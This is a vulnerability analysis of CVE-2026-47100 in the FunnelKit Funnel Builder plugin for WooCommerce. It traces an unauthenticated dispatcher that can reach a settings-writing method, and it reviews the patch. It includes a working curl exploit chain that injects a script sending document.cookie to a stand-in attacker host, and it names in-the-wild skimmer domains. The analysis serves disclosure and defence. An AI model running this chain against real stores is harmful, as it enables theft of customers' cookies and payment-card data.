The dispatcher's allowlist was the set of method names on its own class.
The entry point is WooCommerce's own public-by-design AJAX action:
GET /?wc-ajax=update_order_review
It is reachable without authentication because the WooCommerce checkout page itself is reachable without authentication. WooCommerce fires the woocommerce_checkout_update_order_review action hook while processing the request. FunnelKit's WFACP_AJAX_Controller registers check_actions against that hook at priority -10:
add_action( 'woocommerce_checkout_update_order_review', array( __CLASS__, 'check_actions' ), - 10 );
check_actions is where the bug lives. The full dispatcher, in modules/checkouts/includes/class-wfacp-ajax-controller.php at line 37 of the vulnerable 3.15.0.2:
public static function check_actions( $data ) {
if ( empty( $data ) ) {
return;
}
parse_str( $data, $post_data );
if ( empty( $post_data ) || ! isset( $post_data['wfacp_input_hidden_data'] ) || empty( $post_data['wfacp_input_hidden_data'] ) ) {
return;
}
$bump_action_data = json_decode( $post_data['wfacp_input_hidden_data'], true );
if ( empty( $bump_action_data ) ) {
return;
}
self::$posted_data = $post_data;
$action = $bump_action_data['action'];
$input_data = array();
if ( isset( $bump_action_data['data'] ) ) {
$input_data = $bump_action_data['data'];
}
if ( 'apply_coupon_field' == $action || 'apply_coupon_main' == $action ) {
self::$output_resp = self::apply_coupon( $bump_action_data );
} elseif ( 'remove_coupon_field' == $action || 'remove_coupon_main' == $action ) {
self::$output_resp = self::remove_coupon( $bump_action_data );
} elseif ( method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
...
}
Two named branches handle coupon actions explicitly. The third branch is the gap. $action is the JSON-decoded action field the attacker sent. $input_data is the JSON-decoded data field the attacker sent. The dispatcher accepts any method name that returns true from method_exists, and calls it with the attacker's data.
grep "static function" class-wfacp-ajax-controller.php enumerates the dispatcher's effective allowlist on the vulnerable build:
init
handle_public_ajax
check_actions
merge_fragments
get_available_public_endpoints
get_public_endpoints
check_nonce
send_resp
update_global_settings_fields
update_cart_item_quantity
update_cart_multiple_page
apply_coupon
remove_coupon
prep_fees
remove_cart_item
undo_cart_item
get_divi_form_data
analytics
Eighteen entries. Five of them are the cart-side actions the dispatcher was designed to route (update_cart_item_quantity, update_cart_multiple_page, remove_cart_item, undo_cart_item, prep_fees). Two more are the coupon actions handled in dedicated branches. The remaining eleven were always callable from the public unauthenticated dispatcher because they had names. One of them is update_global_settings_fields.
update_global_settings_fields was registered on a different hook with a different trust model.
The same controller, eleven lines above the dispatcher, registers update_global_settings_fields as the callback for an admin action:
add_action( 'bwf_global_save_settings_wfacp', array( __CLASS__, 'update_global_settings_fields' ) );
bwf_global_save_settings_wfacp is fired by FunnelKit's admin-side global settings save flow, where capability is enforced upstream at the admin UI before the hook runs. The function itself, in the vulnerable version, has no capability check of its own:
public static function update_global_settings_fields( $options ) {
$options = ( is_array( $options ) && count( $options ) > 0 ) ? wp_unslash( $options ) : 0;
$resp = array(
'status' => false,
'msg' => __( 'Changes saved', 'funnel-builder' ),
);
if ( ! is_array( $options ) || count( $options ) === 0 ) {
return $resp;
}
$options['wfacp_checkout_global_css'] = isset( $options['wfacp_checkout_global_css'] ) ? stripslashes_deep( $options['wfacp_checkout_global_css'] ) : '';
$options['wfacp_global_external_script'] = isset( $options['wfacp_global_external_script'] ) ? stripslashes_deep( $options['wfacp_global_external_script'] ) : '';
update_option( '_wfacp_global_settings', $options, true );
do_action( 'wfacp_global_settings_updated', $options );
$resp['status'] = true;
return $resp;
}
current_user_can does not appear. is_admin does not appear. check_admin_referer does not appear. The function's design intent is "the caller already passed the capability check that the admin save UI enforces"; the function's runtime behavior, once the public dispatcher reaches it, is "write whatever $options the caller sent into the global settings option."
The shape is one method registered on two paths. The admin path is gated by the admin UI's capability check. The public path is gated by method_exists. The method does not know which path called it.
The write target is rendered as a <script> tag on the public checkout page.
_wfacp_global_settings is a WordPress option. The key the attacker sets is wfacp_global_external_script. FunnelKit's checkout template reads that key on every render of every wfacp_checkout post and emits its contents into the page HTML inside a <script> block. The intent is operator-supplied analytics or tag-manager loaders. The runtime treats it as a string and prints it.
A complete chain, as the PoC's poc_lab.py runs it against the lab Docker:
# 1. Establish a WooCommerce cart session.
curl -s -c jar -b jar "http://target/?add-to-cart=10" >/dev/null
# 2. Fetch the checkout page, harvest the public update_order_review nonce.
CHECKOUT_HTML=$(curl -s -c jar -b jar "http://target/?post_type=wfacp_checkout&p=11")
NONCE=$(printf '%s' "$CHECKOUT_HTML" \
| grep -oE '"update_order_review_nonce":"[^"]+"' \
| head -n1 | cut -d: -f2 | tr -d '"')
# 3. Post to the public AJAX action, naming update_global_settings_fields.
curl "http://target/?wc-ajax=update_order_review" \
-c jar -b jar \
--data-urlencode "security=${NONCE}" \
--data-urlencode "payment_method=cod" \
--data-urlencode "country=TH" \
--data-urlencode 'post_data=wfacp_input_hidden_data={"action":"update_global_settings_fields","type":"post","data":{"wfacp_global_external_script":"<script>fetch(\"https://attacker/?c=\"+document.cookie)</script>"}}'
The response is JSON. Inside it, the merged fragment wfacp_ajax_data carries {"action":"update_global_settings_fields","status":true,"msg":"Changes saved"}. The option _wfacp_global_settings[wfacp_global_external_script] now contains the attacker's string. Every subsequent visitor to any FunnelKit checkout page on the store renders the script tag and executes the attacker's JavaScript in the visitor's browser.
The security field on the request is the WooCommerce update_order_review_nonce. The nonce is minted for every visitor who loads the checkout page and rendered inline in the page's JavaScript bootstrap. The attacker fetches the checkout page, scrapes the nonce, and submits it. This is the nonce-is-not-auth shape: the dispatcher's only authentication-shaped check is a CSRF token any visitor can mint by visiting the page the token protects. The patched code's own comment names the design: WooCommerce AJAX handles nonce verification; public checkout action, no capability check needed. The nonce is the gate. The gate lets anyone in who knows how to ask for a ticket.
The patch is a five-entry array, an in-method capability check, and a comment that silences FunnelKit's own static-analysis rule.
The 3.15.0.3 controller adds three changes. The first is the missing allowlist at the dispatcher:
- } elseif ( method_exists( __CLASS__, $action ) ) {
+ $allowed_actions = array(
+ 'update_cart_item_quantity',
+ 'update_cart_multiple_page',
+ 'remove_cart_item',
+ 'undo_cart_item',
+ 'prep_fees',
+ );
+
+ if ( 'apply_coupon_field' == $action || 'apply_coupon_main' == $action ) {
+ self::$output_resp = self::apply_coupon( $bump_action_data );
+ } elseif ( 'remove_coupon_field' == $action || 'remove_coupon_main' == $action ) {
+ self::$output_resp = self::remove_coupon( $bump_action_data );
+ } elseif ( is_string( $action ) && in_array( $action, $allowed_actions, true ) && method_exists( __CLASS__, $action ) ) {
self::$output_resp = self::$action( $input_data );
}
The set of five strings is the dispatcher's actual contract, written down for the first time in the release that fixes the bug. method_exists still runs. It runs after in_array, so the existence check is now a belt on top of the suspenders.
The second change is a capability check inside update_global_settings_fields:
public static function update_global_settings_fields( $options ) {
- $options = ( is_array( $options ) && count( $options ) > 0 ) ? wp_unslash( $options ) : 0;
$resp = array(
'status' => false,
'msg' => __( 'Changes saved', 'funnel-builder' ),
);
+ if ( ! current_user_can( 'manage_woocommerce' ) ) {
+ return $resp;
+ }
+
+ $options = ( is_array( $options ) && count( $options ) > 0 ) ? wp_unslash( $options ) : 0;
+
if ( ! is_array( $options ) || count( $options ) === 0 ) {
The capability check belongs in the function, not because the dispatcher should be allowed to call it, but because the function is registered on two hooks and only one of them enforces capability upstream. The patched function now refuses both paths unless the caller has manage_woocommerce. The admin save flow grants that capability; the public dispatcher does not.
The third change is the smaller one, and the loudest. The comment immediately following the patched dispatcher line gains a new suppression target:
- $bump_action_data['wfacp_id'] = isset( $_REQUEST['wfacp_id'] ) ? absint( wp_unslash( $_REQUEST['wfacp_id'] ) ) : 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- WooCommerce AJAX handles nonce verification
+ $bump_action_data['wfacp_id'] = isset( $_REQUEST['wfacp_id'] ) ? absint( wp_unslash( $_REQUEST['wfacp_id'] ) ) : 0; // phpcs:ignore WordPress.Security.NonceVerification.Recommended,FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck -- WooCommerce AJAX handles nonce verification; public checkout action, no capability check needed
FunnelBuilder.CodeAnalysis.FunnelBuilderSpecific.MissingCapabilityCheck is a phpcs sniff written by FunnelKit, for FunnelKit, that flags lines on public-trigger code paths where a capability check is absent. The patched dispatcher line trips that sniff. The patch's response is the comment that tells the sniff to be quiet.
The vulnerable line, on the same controller in 3.15.0.2, carried no suppression for that rule. There are two readings. Either the sniff did not exist when the dispatcher was written, in which case the patch is the moment the project's own static analysis caught up to a class of bug it now declines to enforce on this line; or the sniff existed and the line tripped it for some time, in which case the warning was present in CI and read as noise. The fix did not pick the third reading, which is to change the dispatcher's structure so the sniff would not fire. The fix is the allowlist, the in-method capability check, and the comment that silences the sniff that named the missing capability check.
The pattern across n8n, ksmbd, PrestaShop, Divi Form Builder, and OpenEMR is: a handler accepts a caller-supplied identifier, checks that the named thing exists, and treats the existence check as the authorization decision. The identifier is enumerable; the resource carries no per-call credential. FunnelKit's instance puts the identifier in the most enumerable namespace possible. The set of method names on a public class in an open-source plugin downloadable from wordpress.org. Anyone who can grep "static function" class-wfacp-ajax-controller.php has the full attacker-reachable surface.
The closest sibling is FreePBX's Ajax dispatcher, published two days ago, where class_exists($module) was the include primitive because the autoloader fired as a side effect of the existence check. FunnelKit's instance is the same shape with no side effect. method_exists($action) is a yes/no on a fixed menu, and the dispatcher takes the yes as the call. The class already has the methods. The attacker is picking from the menu the class advertises. FreePBX's autoload-on-check turns an authorization question into a loader. FunnelKit's existence-on-check turns an authorization question into a method invocation. The shape is the gate that does not authorize because the question it answers is not the authorization question.
The install base is 40,000 stores. The in-wild payload is a card skimmer.
Sansec's research note on the same CVE, published the same day as the FunnelKit advisory, reports that the in-wild payload is a Magecart-style checkout skimmer. A fake Google Tag Manager loader at analytics-reports[.]com/wss/jquery-lib.js opens a WebSocket to protect-wss[.]com/ws for a per-store skimmer module that reads "credit card numbers, CVVs, billing addresses and other personal details at checkout." Funnel Builder by FunnelKit reports 40,000 active WooCommerce installations.
The PoC's harmless alert() is the lab proof of a primitive whose production use harvests payment data on every checkout page render. FunnelKit's external-script field was the intended customer-visible analytics seam; the bug made it an attacker-writable analytics seam, and the in-wild operators read it the same way.
PoC: rootdirective-sec/CVE-2026-47100-Analysis-Lab.